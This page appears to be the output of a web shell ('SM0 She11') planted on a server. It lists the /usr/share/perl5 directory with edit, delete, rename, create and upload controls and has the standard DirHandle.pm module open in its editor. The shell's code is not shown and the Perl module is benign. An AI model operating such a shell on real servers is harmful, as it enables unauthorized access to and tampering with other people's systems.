SM0 She11
Path:
/
/
usr
/
share
/
perl5
Full Path (server): /usr/share/perl5
Create Fil3
Upl04d Fil3
📄 AnyDBM_File.pm
[E]
[D]
[R]
📁 App
Open
[D]
[R]
📁 Archive
Open
[D]
[R]
📁 Attribute
Open
[D]
[R]
📄 AutoLoader.pm
[E]
[D]
[R]
📄 AutoSplit.pm
[E]
[D]
[R]
📁 B
Open
[D]
[R]
📄 Benchmark.pm
[E]
[D]
[R]
📄 CORE.pod
[E]
[D]
[R]
📁 Class
Open
[D]
[R]
📁 Compress
Open
[D]
[R]
📁 Config
Open
[D]
[R]
📄 DB.pm
[E]
[D]
[R]
📁 DBM_Filter
Open
[D]
[R]
📄 DBM_Filter.pm
[E]
[D]
[R]
📁 Devel
Open
[D]
[R]
📄 DirHandle.pm
[E]
[D]
[R]
📄 Dumpvalue.pm
[E]
[D]
[R]
📁 Encode
Open
[D]
[R]
📄 English.pm
[E]
[D]
[R]
📁 ExtUtils
Open
[D]
[R]
📁 File
Open
[D]
[R]
📄 FileCache.pm
[E]
[D]
[R]
📄 FileHandle.pm
[E]
[D]
[R]
📁 Filter
Open
[D]
[R]
📄 FindBin.pm
[E]
[D]
[R]
📁 Getopt
Open
[D]
[R]
📁 HTTP
Open
[D]
[R]
📁 I18N
Open
[D]
[R]
📁 IO
Open
[D]
[R]
📁 IPC
Open
[D]
[R]
📁 JSON
Open
[D]
[R]
📁 LWP
Open
[D]
[R]
📄 LWP.pm
[E]
[D]
[R]
📁 Locale
Open
[D]
[R]
📁 Log
Open
[D]
[R]
📁 Math
Open
[D]
[R]
📁 Memoize
Open
[D]
[R]
📄 Memoize.pm
[E]
[D]
[R]
📁 Module
Open
[D]
[R]
📄 NEXT.pm
[E]
[D]
[R]
📁 Net
Open
[D]
[R]
📁 Package
Open
[D]
[R]
📁 Perl
Open
[D]
[R]
📁 PerlIO
Open
[D]
[R]
📄 PerlIO.pm
[E]
[D]
[R]
📁 Pod
Open
[D]
[R]
📄 Safe.pm
[E]
[D]
[R]
📁 Search
Open
[D]
[R]
📄 SelectSaver.pm
[E]
[D]
[R]
📄 SelfLoader.pm
[E]
[D]
[R]
📄 Symbol.pm
[E]
[D]
[R]
📁 Term
Open
[D]
[R]
📁 Test
Open
[D]
[R]
📄 Test.pm
[E]
[D]
[R]
📁 Text
Open
[D]
[R]
📁 Thread
Open
[D]
[R]
📄 Thread.pm
[E]
[D]
[R]
📁 Tie
Open
[D]
[R]
📁 Time
Open
[D]
[R]
📄 UNIVERSAL.pm
[E]
[D]
[R]
📁 URI
Open
[D]
[R]
📄 URI.pm
[E]
[D]
[R]
📁 Unicode
Open
[D]
[R]
📁 User
Open
[D]
[R]
📁 Version
Open
[D]
[R]
📄 XSLoader.pm
[E]
[D]
[R]
📄 _charnames.pm
[E]
[D]
[R]
📄 autouse.pm
[E]
[D]
[R]
📄 base.pm
[E]
[D]
[R]
📄 bigint.pm
[E]
[D]
[R]
📄 bignum.pm
[E]
[D]
[R]
📄 bigrat.pm
[E]
[D]
[R]
📄 blib.pm
[E]
[D]
[R]
📄 bytes.pm
[E]
[D]
[R]
📄 bytes_heavy.pl
[E]
[D]
[R]
📄 charnames.pm
[E]
[D]
[R]
📄 deprecate.pm
[E]
[D]
[R]
📄 diagnostics.pm
[E]
[D]
[R]
📄 dumpvar.pl
[E]
[D]
[R]
📁 encoding
Open
[D]
[R]
📄 feature.pm
[E]
[D]
[R]
📄 fields.pm
[E]
[D]
[R]
📄 filetest.pm
[E]
[D]
[R]
📄 if.pm
[E]
[D]
[R]
📄 integer.pm
[E]
[D]
[R]
📄 less.pm
[E]
[D]
[R]
📄 locale.pm
[E]
[D]
[R]
📄 lwpcook.pod
[E]
[D]
[R]
📄 lwptut.pod
[E]
[D]
[R]
📄 open.pm
[E]
[D]
[R]
📁 overload
Open
[D]
[R]
📄 overload.pm
[E]
[D]
[R]
📄 overloading.pm
[E]
[D]
[R]
📄 perl5db.pl
[E]
[D]
[R]
📄 perlfaq.pm
[E]
[D]
[R]
📁 pod
Open
[D]
[R]
📄 sigtrap.pm
[E]
[D]
[R]
📄 sort.pm
[E]
[D]
[R]
📄 strict.pm
[E]
[D]
[R]
📄 subs.pm
[E]
[D]
[R]
📁 unicore
Open
[D]
[R]
📄 utf8.pm
[E]
[D]
[R]
📄 utf8_heavy.pl
[E]
[D]
[R]
📄 vars.pm
[E]
[D]
[R]
📁 vendor_perl
Open
[D]
[R]
📄 vmsish.pm
[E]
[D]
[R]
📁 warnings
Open
[D]
[R]
📄 warnings.pm
[E]
[D]
[R]
Editing: DirHandle.pm
package DirHandle; our $VERSION = '1.04'; =head1 NAME DirHandle - supply object methods for directory handles =head1 SYNOPSIS use DirHandle; $d = DirHandle->new("."); if (defined $d) { while (defined($_ = $d->read)) { something($_); } $d->rewind; while (defined($_ = $d->read)) { something_else($_); } undef $d; } =head1 DESCRIPTION The C<DirHandle> method provide an alternative interface to the opendir(), closedir(), readdir(), and rewinddir() functions. The only objective benefit to using C<DirHandle> is that it avoids namespace pollution by creating globs to hold directory handles. =cut require 5.000; use Carp; use Symbol; sub new { @_ >= 1 && @_ <= 2 or croak 'usage: DirHandle->new( [DIRNAME] )'; my $class = shift; my $dh = gensym; if (@_) { DirHandle::open($dh, $_[0]) or return undef; } bless $dh, $class; } sub DESTROY { my ($dh) = @_; # Don't warn about already being closed as it may have been closed # correctly, or maybe never opened at all. local($., $@, $!, $^E, $?); no warnings 'io'; closedir($dh); } sub open { @_ == 2 or croak 'usage: $dh->open(DIRNAME)'; my ($dh, $dirname) = @_; opendir($dh, $dirname); } sub close { @_ == 1 or croak 'usage: $dh->close()'; my ($dh) = @_; closedir($dh); } sub read { @_ == 1 or croak 'usage: $dh->read()'; my ($dh) = @_; readdir($dh); } sub rewind { @_ == 1 or croak 'usage: $dh->rewind()'; my ($dh) = @_; rewinddir($dh); } 1;
Save